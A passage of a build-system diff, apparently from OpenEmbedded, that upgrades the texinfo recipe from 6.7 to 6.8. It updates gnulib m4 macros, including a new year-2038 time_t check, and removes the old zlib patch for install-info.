++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WMEMPCPY])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WMEMSET])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSLEN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSNLEN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSCPY])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCPCPY])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSNCPY])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCPNCPY])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSCAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSNCAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSCMP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSNCMP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSCASECMP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSNCASECMP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSCOLL])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSXFRM])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSDUP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSCHR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSRCHR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSCSPN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSSPN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSPBRK])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSSTR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSTOK])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSWIDTH])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCSFTIME])
++ dnl Support Microsoft deprecated alias function names by default.
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_WCSDUP], [1])
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_WCHAR_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_WCHAR_H_DEFAULTS])
++])
++
+ AC_DEFUN([gl_WCHAR_H_DEFAULTS],
+ [
+- GNULIB_BTOWC=0; AC_SUBST([GNULIB_BTOWC])
+- GNULIB_WCTOB=0; AC_SUBST([GNULIB_WCTOB])
+- GNULIB_MBSINIT=0; AC_SUBST([GNULIB_MBSINIT])
+- GNULIB_MBRTOWC=0; AC_SUBST([GNULIB_MBRTOWC])
+- GNULIB_MBRLEN=0; AC_SUBST([GNULIB_MBRLEN])
+- GNULIB_MBSRTOWCS=0; AC_SUBST([GNULIB_MBSRTOWCS])
+- GNULIB_MBSNRTOWCS=0; AC_SUBST([GNULIB_MBSNRTOWCS])
+- GNULIB_WCRTOMB=0; AC_SUBST([GNULIB_WCRTOMB])
+- GNULIB_WCSRTOMBS=0; AC_SUBST([GNULIB_WCSRTOMBS])
+- GNULIB_WCSNRTOMBS=0; AC_SUBST([GNULIB_WCSNRTOMBS])
+- GNULIB_WCWIDTH=0; AC_SUBST([GNULIB_WCWIDTH])
+- GNULIB_WMEMCHR=0; AC_SUBST([GNULIB_WMEMCHR])
+- GNULIB_WMEMCMP=0; AC_SUBST([GNULIB_WMEMCMP])
+- GNULIB_WMEMCPY=0; AC_SUBST([GNULIB_WMEMCPY])
+- GNULIB_WMEMMOVE=0; AC_SUBST([GNULIB_WMEMMOVE])
+- GNULIB_WMEMPCPY=0; AC_SUBST([GNULIB_WMEMPCPY])
+- GNULIB_WMEMSET=0; AC_SUBST([GNULIB_WMEMSET])
+- GNULIB_WCSLEN=0; AC_SUBST([GNULIB_WCSLEN])
+- GNULIB_WCSNLEN=0; AC_SUBST([GNULIB_WCSNLEN])
+- GNULIB_WCSCPY=0; AC_SUBST([GNULIB_WCSCPY])
+- GNULIB_WCPCPY=0; AC_SUBST([GNULIB_WCPCPY])
+- GNULIB_WCSNCPY=0; AC_SUBST([GNULIB_WCSNCPY])
+- GNULIB_WCPNCPY=0; AC_SUBST([GNULIB_WCPNCPY])
+- GNULIB_WCSCAT=0; AC_SUBST([GNULIB_WCSCAT])
+- GNULIB_WCSNCAT=0; AC_SUBST([GNULIB_WCSNCAT])
+- GNULIB_WCSCMP=0; AC_SUBST([GNULIB_WCSCMP])
+- GNULIB_WCSNCMP=0; AC_SUBST([GNULIB_WCSNCMP])
+- GNULIB_WCSCASECMP=0; AC_SUBST([GNULIB_WCSCASECMP])
+- GNULIB_WCSNCASECMP=0; AC_SUBST([GNULIB_WCSNCASECMP])
+- GNULIB_WCSCOLL=0; AC_SUBST([GNULIB_WCSCOLL])
+- GNULIB_WCSXFRM=0; AC_SUBST([GNULIB_WCSXFRM])
+- GNULIB_WCSDUP=0; AC_SUBST([GNULIB_WCSDUP])
+- GNULIB_WCSCHR=0; AC_SUBST([GNULIB_WCSCHR])
+- GNULIB_WCSRCHR=0; AC_SUBST([GNULIB_WCSRCHR])
+- GNULIB_WCSCSPN=0; AC_SUBST([GNULIB_WCSCSPN])
+- GNULIB_WCSSPN=0; AC_SUBST([GNULIB_WCSSPN])
+- GNULIB_WCSPBRK=0; AC_SUBST([GNULIB_WCSPBRK])
+- GNULIB_WCSSTR=0; AC_SUBST([GNULIB_WCSSTR])
+- GNULIB_WCSTOK=0; AC_SUBST([GNULIB_WCSTOK])
+- GNULIB_WCSWIDTH=0; AC_SUBST([GNULIB_WCSWIDTH])
+- GNULIB_WCSFTIME=0; AC_SUBST([GNULIB_WCSFTIME])
+- dnl Support Microsoft deprecated alias function names by default.
+- GNULIB_MDA_WCSDUP=1; AC_SUBST([GNULIB_MDA_WCSDUP])
+ dnl Assume proper GNU behavior unless another module says otherwise.
+ HAVE_BTOWC=1; AC_SUBST([HAVE_BTOWC])
+ HAVE_MBSINIT=1; AC_SUBST([HAVE_MBSINIT])
+--- a/gnulib/m4/wctype_h.m4
++++ b/gnulib/m4/wctype_h.m4
+@@ -1,4 +1,4 @@
+-# wctype_h.m4 serial 26
++# wctype_h.m4 serial 30
+
+ dnl A placeholder for ISO C99 <wctype.h>, for platforms that lack it.
+
+@@ -9,7 +9,7 @@ dnl with or without modifications, as lo
+
+ dnl Written by Paul Eggert.
+
+-AC_DEFUN([gl_WCTYPE_H],
++AC_DEFUN_ONCE([gl_WCTYPE_H],
+ [
+ AC_REQUIRE([gl_WCTYPE_H_DEFAULTS])
+ AC_REQUIRE([AC_PROG_CC])
+@@ -62,7 +62,7 @@ AC_DEFUN([gl_WCTYPE_H],
+ fi
+ AC_SUBST([HAVE_WCTYPE_H])
+
+- if test $GNULIB_OVERRIDES_WINT_T = 1; then
++ if test $GNULIBHEADERS_OVERRIDE_WINT_T = 1; then
+ REPLACE_ISWCNTRL=1
+ else
+ case "$gl_cv_func_iswcntrl_works" in
+@@ -157,24 +157,39 @@ AC_DEFUN([gl_WCTYPE_H],
+ ])
+ ])
+
++# gl_WCTYPE_MODULE_INDICATOR([modulename])
++# sets the shell variable that indicates the presence of the given module
++# to a C preprocessor expression that will evaluate to 1.
++# This macro invocation must not occur in macros that are AC_REQUIREd.
+ AC_DEFUN([gl_WCTYPE_MODULE_INDICATOR],
+ [
+- dnl Use AC_REQUIRE here, so that the default settings are expanded once only.
+- AC_REQUIRE([gl_WCTYPE_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only.
++ gl_WCTYPE_H_REQUIRE_DEFAULTS
+ gl_MODULE_INDICATOR_SET_VARIABLE([$1])
+ dnl Define it also as a C macro, for the benefit of the unit tests.
+ gl_MODULE_INDICATOR_FOR_TESTS([$1])
+ ])
+
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_WCTYPE_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_WCTYPE_H_MODULE_INDICATOR_DEFAULTS], [
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ISWBLANK])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ISWDIGIT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ISWXDIGIT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCTYPE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ISWCTYPE])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCTRANS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_TOWCTRANS])
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_WCTYPE_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_WCTYPE_H_DEFAULTS])
++])
++
+ AC_DEFUN([gl_WCTYPE_H_DEFAULTS],
+ [
+- GNULIB_ISWBLANK=0; AC_SUBST([GNULIB_ISWBLANK])
+- GNULIB_ISWDIGIT=0; AC_SUBST([GNULIB_ISWDIGIT])
+- GNULIB_ISWXDIGIT=0; AC_SUBST([GNULIB_ISWXDIGIT])
+- GNULIB_WCTYPE=0; AC_SUBST([GNULIB_WCTYPE])
+- GNULIB_ISWCTYPE=0; AC_SUBST([GNULIB_ISWCTYPE])
+- GNULIB_WCTRANS=0; AC_SUBST([GNULIB_WCTRANS])
+- GNULIB_TOWCTRANS=0; AC_SUBST([GNULIB_TOWCTRANS])
+ dnl Assume proper GNU behavior unless another module says otherwise.
+ HAVE_ISWBLANK=1; AC_SUBST([HAVE_ISWBLANK])
+ HAVE_WCTYPE_T=1; AC_SUBST([HAVE_WCTYPE_T])
+--- a/gnulib/m4/wint_t.m4
++++ b/gnulib/m4/wint_t.m4
+@@ -1,4 +1,4 @@
+-# wint_t.m4 serial 10
++# wint_t.m4 serial 11
+ dnl Copyright (C) 2003, 2007-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -34,14 +34,14 @@ AC_DEFUN([gt_TYPE_WINT_T],
+ [gl_cv_type_wint_t_large_enough=yes],
+ [gl_cv_type_wint_t_large_enough=no])])
+ if test $gl_cv_type_wint_t_large_enough = no; then
+- GNULIB_OVERRIDES_WINT_T=1
++ GNULIBHEADERS_OVERRIDE_WINT_T=1
+ else
+- GNULIB_OVERRIDES_WINT_T=0
++ GNULIBHEADERS_OVERRIDE_WINT_T=0
+ fi
+ else
+- GNULIB_OVERRIDES_WINT_T=0
++ GNULIBHEADERS_OVERRIDE_WINT_T=0
+ fi
+- AC_SUBST([GNULIB_OVERRIDES_WINT_T])
++ AC_SUBST([GNULIBHEADERS_OVERRIDE_WINT_T])
+ ])
+
+ dnl Prerequisites of the 'wint_t' override.
+--- /dev/null
++++ b/gnulib/m4/year2038.m4
+@@ -0,0 +1,112 @@
++# year2038.m4 serial 5
++dnl Copyright (C) 2017-2021 Free Software Foundation, Inc.
++dnl This file is free software; the Free Software Foundation
++dnl gives unlimited permission to copy and/or distribute it,
++dnl with or without modifications, as long as this notice is preserved.
++
++dnl Attempt to ensure that 'time_t' is a 64-bit type
++dnl and that the functions time(), stat(), etc. return 64-bit times.
++
++AC_DEFUN([gl_YEAR2038_EARLY],
++[
++ AC_REQUIRE([AC_CANONICAL_HOST])
++ case "$host_os" in
++ mingw*)
++ AC_DEFINE([__MINGW_USE_VC2005_COMPAT], [1],
++ [For 64-bit time_t on 32-bit mingw.])
++ ;;
++ esac
++])
++
++# gl_YEAR2038_TEST_INCLUDES
++# -------------------------
++AC_DEFUN([gl_YEAR2038_TEST_INCLUDES],
++[[
++ #include <time.h>
++ /* Check that time_t can represent 2**63 - 1 correctly.
++ We can't simply define LARGE_TIME_T to be 9223372036854775807,
++ since some C++ compilers masquerading as C compilers
++ incorrectly reject 9223372036854775807. */
++ #define LARGE_TIME_T (((time_t) 1 << 31 << 31) - 1 + ((time_t) 1 << 31 << 31))
++ int verify_time_t_range[(LARGE_TIME_T % 2147483629 == 721
++ && LARGE_TIME_T % 2147483647 == 1)
++ ? 1 : -1];
++]])
++
++# gl_YEAR2038_BODY(REQUIRE-64-BIT)
++----------------------------------
++AC_DEFUN([gl_YEAR2038_BODY],
++[
++ AC_ARG_ENABLE([year2038],
++ [ --disable-year2038 omit support for timestamps past the year 2038])
++ AS_IF([test "$enable_year2038" != no],
++ [
++ dnl On many systems, time_t is already a 64-bit type.
++ dnl On those systems where time_t is still 32-bit, it requires kernel
++ dnl and libc support to make it 64-bit. For glibc 2.34 and later on Linux,
++ dnl defining _TIME_BITS=64 and _FILE_OFFSET_BITS=64 is needed on x86 and ARM.
++ dnl
++ dnl On native Windows, the system include files define types __time32_t
++ dnl and __time64_t. By default, time_t is an alias of
++ dnl - __time32_t on 32-bit mingw,
++ dnl - __time64_t on 64-bit mingw and on MSVC (since MSVC 8).
++ dnl But when compiling with -D__MINGW_USE_VC2005_COMPAT, time_t is an
++ dnl alias of __time64_t.
++ dnl And when compiling with -D_USE_32BIT_TIME_T, time_t is an alias of
++ dnl __time32_t.
++ AC_CACHE_CHECK([for 64-bit time_t], [gl_cv_type_time_t_64],
++ [AC_COMPILE_IFELSE(
++ [AC_LANG_SOURCE([gl_YEAR2038_TEST_INCLUDES])],
++ [gl_cv_type_time_t_64=yes], [gl_cv_type_time_t_64=no])
++ ])
++ if test "$gl_cv_type_time_t_64" = no; then
++ AC_CACHE_CHECK([for 64-bit time_t with _TIME_BITS=64],
++ [gl_cv_type_time_t_bits_macro],
++ [AC_COMPILE_IFELSE(
++ [AC_LANG_SOURCE([[#define _TIME_BITS 64
++ #define _FILE_OFFSET_BITS 64
++ ]gl_YEAR2038_TEST_INCLUDES])],
++ [gl_cv_type_time_t_bits_macro=yes],
++ [gl_cv_type_time_t_bits_macro=no])
++ ])
++ if test "$gl_cv_type_time_t_bits_macro" = yes; then
++ AC_DEFINE([_TIME_BITS], [64],
++ [Number of bits in a timestamp, on hosts where this is settable.])
++ dnl AC_SYS_LARGFILE also defines this; it's OK if we do too.
++ AC_DEFINE([_FILE_OFFSET_BITS], [64],
++ [Number of bits in a file offset, on hosts where this is settable.])
++ gl_cv_type_time_t_64=yes
++ fi
++ fi
++ if test $gl_cv_type_time_t_64 = no; then
++ AC_COMPILE_IFELSE(
++ [AC_LANG_SOURCE(
++ [[#ifdef _USE_32BIT_TIME_T
++ int ok;
++ #else
++ error fail
++ #endif
++ ]])],
++ [AC_MSG_FAILURE([This package requires a 64-bit 'time_t' type. Remove _USE_32BIT_TIME_T from the compiler flags.])],
++ [# If not cross-compiling and $1 says we should check,
++ # and 'touch' works with a large timestamp, then evidently 64-bit time_t
++ # is desired and supported, so fail and ask the builder to fix the
++ # problem. Otherwise, just warn the builder.
++ m4_ifval([$1],
++ [if test $cross_compiling = no \
++ && TZ=UTC0 touch -t 210602070628.16 conftest.time 2>/dev/null; then
++ rm -f conftest.time
++ AC_MSG_FAILURE([This package requires a 64-bit 'time_t' type, which your system appears to support. You might try configuring with 'CPPFLAGS="-m64" LDFLAGS="-m64"'. To build with a 32-bit time_t anyway (not recommended), configure with '--disable-year2038'.])
++ fi])
++ if test "$gl_warned_about_64_bit_time_t" != yes; then
++ AC_MSG_WARN([This package requires a 64-bit 'time_t' type if there is any way to access timestamps outside the year range 1901-2038 on your platform. Perhaps you should configure with 'CPPFLAGS="-m64" LDFLAGS="-m64"'?])
++ gl_warned_about_64_bit_time_t=yes
++ fi
++ ])
++ fi])
++])
++
++AC_DEFUN([gl_YEAR2038],
++[
++ gl_YEAR2038_BODY([require-64-bit])
++])
diff --git a/meta/recipes-extended/texinfo/texinfo/texinfo-4.12-zlib.patch b/meta/recipes-extended/texinfo/texinfo/texinfo-4.12-zlib.patch
deleted file mode 100644
index f72097e639..0000000000
--- a/meta/recipes-extended/texinfo/texinfo/texinfo-4.12-zlib.patch
+++ /dev/null
@@ -1,254 +0,0 @@
-From 3d3b66cf398853c666e724c3dbcc37d53a2240d5 Mon Sep 17 00:00:00 2001
-From: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
-Date: Tue, 29 Nov 2016 12:27:17 -0600
-Subject: [PATCH] texinfo-4.12-zlib
-
-Upstream-Status: Pending
-
-Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
-Signed-off-by: Edwin Plauchu <edwin.plauchu.camacho@intel.com>
-
----
- install-info/Makefile.in | 2 +-
- install-info/install-info.c | 79 ++++++++++++++++++++++---------------
- 2 files changed, 48 insertions(+), 33 deletions(-)
-
-diff --git a/install-info/Makefile.in b/install-info/Makefile.in
-index c924509..746df05 100644
---- a/install-info/Makefile.in
-+++ b/install-info/Makefile.in
-@@ -218,7 +218,7 @@ am__installdirs = "$(DESTDIR)$(bindir)" "$(DESTDIR)$(bindir)"
- PROGRAMS = $(bin_PROGRAMS)
- am_ginstall_info_OBJECTS = install-info.$(OBJEXT)
- ginstall_info_OBJECTS = $(am_ginstall_info_OBJECTS)
--ginstall_info_LDADD = $(LDADD)
-+ginstall_info_LDADD = $(LDADD) -lz
- am__DEPENDENCIES_1 =
- ginstall_info_DEPENDENCIES = $(top_builddir)/gnulib/lib/libgnu.a \
- $(am__DEPENDENCIES_1) $(am__DEPENDENCIES_1)
-diff --git a/install-info/install-info.c b/install-info/install-info.c
-index 21f4fe3..a7aba82 100644
---- a/install-info/install-info.c
-+++ b/install-info/install-info.c
-@@ -19,6 +19,7 @@
- #include <getopt.h>
- #include <regex.h>
- #include <argz.h>
-+#include <zlib.h>
-
- #define TAB_WIDTH 8
-
-@@ -681,15 +682,15 @@ The first time you invoke Info you start off looking at this node.\n\
-
- Return either stdin reading the file, or a non-stdin pipe reading
- the output of the compression program. */
--FILE *
-+void *
- open_possibly_compressed_file (char *filename,
- void (*create_callback) (char *),
-- char **opened_filename, char **compression_program)
-+ char **opened_filename, char **compression_program, int *is_pipe)
- {
- char *local_opened_filename, *local_compression_program;
- int nread;
- char data[13];
-- FILE *f;
-+ gzFile *f;
-
- /* We let them pass NULL if they don't want this info, but it's easier
- to always determine it. */
-@@ -697,48 +698,48 @@ open_possibly_compressed_file (char *filename,
- opened_filename = &local_opened_filename;
-
- *opened_filename = filename;
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- if (!f)
- {
- *opened_filename = concat (filename, ".gz", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- if (!f)
- {
- free (*opened_filename);
- *opened_filename = concat (filename, ".xz", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- if (!f)
- {
- free (*opened_filename);
- *opened_filename = concat (filename, ".bz2", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- if (!f)
- {
- free (*opened_filename);
- *opened_filename = concat (filename, ".lz", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- if (!f)
- {
- free (*opened_filename);
- *opened_filename = concat (filename, ".lzma", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- #ifdef __MSDOS__
- if (!f)
- {
- free (*opened_filename);
- *opened_filename = concat (filename, ".igz", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- if (!f)
- {
- free (*opened_filename);
- *opened_filename = concat (filename, ".inz", "");
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- }
- #endif /* __MSDOS__ */
- if (!f)
-@@ -754,7 +755,7 @@ open_possibly_compressed_file (char *filename,
- (*create_callback) (filename);
-
- /* And try opening it again. */
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- if (!f)
- return 0;
- }
-@@ -764,26 +765,26 @@ open_possibly_compressed_file (char *filename,
-
- /* Read first few bytes of file rather than relying on the filename.
- If the file is shorter than this it can't be usable anyway. */
-- nread = fread (data, sizeof (data), 1, f);
-- if (nread != 1)
-+ nread = gzread (f, data, sizeof (data));
-+ if (nread != sizeof (data))
- {
-- if (nread == 0)
-+ if (nread >= 0)
- {
- /* Try to create the file if its empty. */
-- if (feof (f) && create_callback)
-+ if (gzeof(f) && create_callback)
- {
-- if (fclose (f) != 0)
-+ if (gzclose(f) != 0)
- return 0; /* unknown error closing file */
-
-- if (remove (filename) != 0)
-+ if (remove(filename) != 0)
- return 0; /* unknown error deleting file */
-
- (*create_callback) (filename);
-- f = fopen (*opened_filename, FOPEN_RBIN);
-+ f = gzopen (*opened_filename, FOPEN_RBIN);
- if (!f)
- return 0;
-- nread = fread (data, sizeof (data), 1, f);
-- if (nread == 0)
-+ nread = gzread(f, data, sizeof (data));
-+ if (nread >= 0)
- return 0;
- goto determine_file_type; /* success */
- }
-@@ -854,35 +855,40 @@ determine_file_type:
- *compression_program = NULL;
-
- /* Seek back over the magic bytes. */
-- if (fseek (f, 0, 0) < 0)
-+ if (gzseek (f, 0, SEEK_SET) == -1)
- return 0;
-
- if (*compression_program)
- { /* It's compressed, so open a pipe. */
-+ FILE *p;
- char *command = concat (*compression_program, " -d", "");
-
-- if (fclose (f) < 0)
-+ if (gzclose (f) < 0)
- return 0;
-- f = freopen (*opened_filename, FOPEN_RBIN, stdin);
-- if (!f)
-+ p = freopen (*opened_filename, FOPEN_RBIN, stdin);
-+ if (!p)
- return 0;
-- f = popen (command, "r");
-- if (!f)
-+ p = popen (command, "r");
-+ if (!p)
- {
- /* Used for error message in calling code. */
- *opened_filename = command;
- return 0;
- }
-+ else
-+ *is_pipe = 1;
-+ return p;
- }
- else
- {
--#if O_BINARY
-+#if 0 && O_BINARY
- /* Since this is a text file, and we opened it in binary mode,
- switch back to text mode. */
- f = freopen (*opened_filename, "r", f);
- if (! f)
- return 0;
- #endif
-+ *is_pipe = 0;
- }
-
- return f;
-@@ -901,7 +907,8 @@ readfile (char *filename, int *sizep,
- void (*create_callback) (char *), char **opened_filename,
- char **compression_program)
- {
-- FILE *f;
-+ void *f;
-+ int pipe_p;
- int filled = 0;
- int data_size = 8192;
- char *data = xmalloc (data_size);
-@@ -909,14 +916,20 @@ readfile (char *filename, int *sizep,
- /* If they passed the space for the file name to return, use it. */
- f = open_possibly_compressed_file (filename, create_callback,
- opened_filename,
-- compression_program);
-+ compression_program,
-+ &pipe_p);
-
- if (!f)
- return 0;
-
- for (;;)
- {
-- int nread = fread (data + filled, 1, data_size - filled, f);
-+ int nread;
-+
-+ if (pipe_p)
-+ nread = fread (data + filled, 1, data_size - filled, f);
-+ else
-+ nread = gzread (f, data + filled, data_size - filled);
- if (nread < 0)
- return 0;
- if (nread == 0)
-@@ -935,8 +948,10 @@ readfile (char *filename, int *sizep,
- /* We need to close the stream, since on some systems the pipe created
- by popen is simulated by a temporary file which only gets removed
- inside pclose. */
-- if (f != stdin)
-+ if (pipe_p)
- pclose (f);
-+ else
-+ gzclose (f);
-
- *sizep = filled;
- return data;
diff --git a/meta/recipes-extended/texinfo/texinfo_6.7.bb b/meta/recipes-extended/texinfo/texinfo_6.7.bb
deleted file mode 100644
index d421b79a0b..0000000000
--- a/meta/recipes-extended/texinfo/texinfo_6.7.bb
+++ /dev/null
@@ -1,91 +0,0 @@
-SUMMARY = "Documentation system for on-line information and printed output"
-DESCRIPTION = "Texinfo is a documentation system that can produce both \
-online information and printed output from a single source file. The \
-GNU Project uses the Texinfo file format for most of its documentation."
-HOMEPAGE = "http://www.gnu.org/software/texinfo/"
-SECTION = "console/utils"
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
-
-PROVIDES_append_class-native = " texinfo-replacement-native"
-
-def compress_pkg(d):
- if bb.data.inherits_class('compress_doc', d):
- compress = d.getVar("DOC_COMPRESS")
- if compress == "gz":
- return "gzip"
- elif compress == "bz2":
- return "bzip2"
- elif compress == "xz":
- return "xz"
- return ""
-
-RDEPENDS_info += "${@compress_pkg(d)}"
-
-DEPENDS = "zlib ncurses texinfo-replacement-native"
-DEPENDS_class-native = "zlib-native ncurses-native"
-
-TARGET_PATCH = "file://use_host_makedoc.patch"
-TARGET_PATCH_class-native = ""
-
-SRC_URI = "${GNU_MIRROR}/texinfo/${BP}.tar.gz \
- file://texinfo-4.12-zlib.patch \
- file://disable-native-tools.patch \
- file://link-zip.patch \
- file://dont-depend-on-help2man.patch \
- ${TARGET_PATCH} \
- "
-
-SRC_URI[md5sum] = "f0c1782f68ef73738d74bd1e9e30793a"
-SRC_URI[sha256sum] = "a52d05076b90032cb2523673c50e53185938746482cf3ca0213e9b4b50ac2d3e"
-
-tex_texinfo = "texmf/tex/texinfo"
-
-inherit gettext autotools multilib_script
-
-MULTILIB_SCRIPTS = "${PN}:${bindir}/texi2any"
-
-EXTRA_AUTORECONF += "-I ${S}/gnulib/m4"
-
-do_configure_prepend () {
- # autotools_do_configure updates po/Makefile.in.in, we also need
- # update po_document.
- cp -f ${STAGING_DATADIR_NATIVE}/gettext/po/Makefile.in.in ${S}/po_document/
-}
-
-do_compile_prepend() {
- if [ -d tools ];then
- oe_runmake -C tools/gnulib/lib
- fi
-}
-
-do_install_append() {
- mkdir -p ${D}${datadir}/${tex_texinfo}
- install -p -m644 ${S}/doc/texinfo.tex ${S}/doc/txi-??.tex ${D}${datadir}/${tex_texinfo}
- sed -i -e '1s,#!.*perl,#! ${USRBINPATH}/env perl,' ${D}${bindir}/texi2any ${D}${bindir}/pod2texi
-}
-
-do_install_append_class-native() {
- install -m 755 info/makedoc ${D}${bindir}
-}
-
-PACKAGES += "info info-doc"
-
-FILES_info = "${bindir}/info ${bindir}/infokey ${bindir}/install-info"
-FILES_info-doc = "${infodir}/info.info* ${infodir}/dir ${infodir}/info-*.info* \
- ${mandir}/man1/info.1* ${mandir}/man5/info.5* \
- ${mandir}/man1/infokey.1* ${mandir}/man1/install-info.1*"
-
-FILES_${PN} = "${bindir}/makeinfo ${bindir}/texi* ${bindir}/pdftexi2dvi ${bindir}/pod2texi ${datadir}/texinfo"
-RDEPENDS_${PN} = "perl"
-FILES_${PN}-doc = "${infodir}/texinfo* \
- ${datadir}/${tex_texinfo} \
- ${mandir}/man1 ${mandir}/man5"
-
-# Lie about providing the Locale::gettext_xs module. It is not actually built,
-# but the code will test for it and if not found use Locale::gettext_pp instead.
-# However, this causes a file dependency on perl(Locale::gettext_xs) to be
-# generated, which must be satisfied.
-RPROVIDES_${PN} += "perl(Locale::gettext_xs)"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/texinfo/texinfo_6.8.bb b/meta/recipes-extended/texinfo/texinfo_6.8.bb
new file mode 100644
index 0000000000..5a7cbef402
--- /dev/null
+++ b/meta/recipes-extended/texinfo/texinfo_6.8.bb
@@ -0,0 +1,90 @@
+SUMMARY = "Documentation system for on-line information and printed output"
+DESCRIPTION = "Texinfo is a documentation system that can produce both \
+online information and printed output from a single source file. The \
+GNU Project uses the Texinfo file format for most of its documentation."
+HOMEPAGE = "http://www.gnu.org/software/texinfo/"
+SECTION = "console/utils"
+LICENSE = "GPLv3+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464"
+
+PROVIDES:append:class-native = " texinfo-replacement-native"
+
+def compress_pkg(d):
+ if bb.data.inherits_class('compress_doc', d):
+ compress = d.getVar("DOC_COMPRESS")
+ if compress == "gz":
+ return "gzip"
+ elif compress == "bz2":
+ return "bzip2"
+ elif compress == "xz":
+ return "xz"
+ return ""
+
+RDEPENDS:info += "${@compress_pkg(d)}"
+
+DEPENDS = "zlib ncurses texinfo-replacement-native"
+DEPENDS:class-native = "zlib-native ncurses-native"
+
+TARGET_PATCH = "file://use_host_makedoc.patch"
+TARGET_PATCH:class-native = ""
+
+SRC_URI = "${GNU_MIRROR}/texinfo/${BP}.tar.gz \
+ file://0001-gnulib-Update.patch \
+ file://disable-native-tools.patch \
+ file://link-zip.patch \
+ file://dont-depend-on-help2man.patch \
+ ${TARGET_PATCH} \
+ "
+
+SRC_URI[sha256sum] = "8e09cf753ad1833695d2bac0f57dc3bd6bcbbfbf279450e1ba3bc2d7fb297d08"
+
+tex_texinfo = "texmf/tex/texinfo"
+
+inherit gettext autotools multilib_script
+
+MULTILIB_SCRIPTS = "${PN}:${bindir}/texi2any"
+
+EXTRA_AUTORECONF += "-I ${S}/gnulib/m4"
+
+do_configure:prepend () {
+ # autotools_do_configure updates po/Makefile.in.in, we also need
+ # update po_document.
+ cp -f ${STAGING_DATADIR_NATIVE}/gettext/po/Makefile.in.in ${S}/po_document/
+}
+
+do_compile:prepend() {
+ if [ -d tools ];then
+ oe_runmake -C tools/gnulib/lib
+ fi
+}
+
+do_install:append() {
+ mkdir -p ${D}${datadir}/${tex_texinfo}
+ install -p -m644 ${S}/doc/texinfo.tex ${S}/doc/txi-??.tex ${D}${datadir}/${tex_texinfo}
+ sed -i -e '1s,#!.*perl,#! ${USRBINPATH}/env perl,' ${D}${bindir}/texi2any ${D}${bindir}/pod2texi
+}
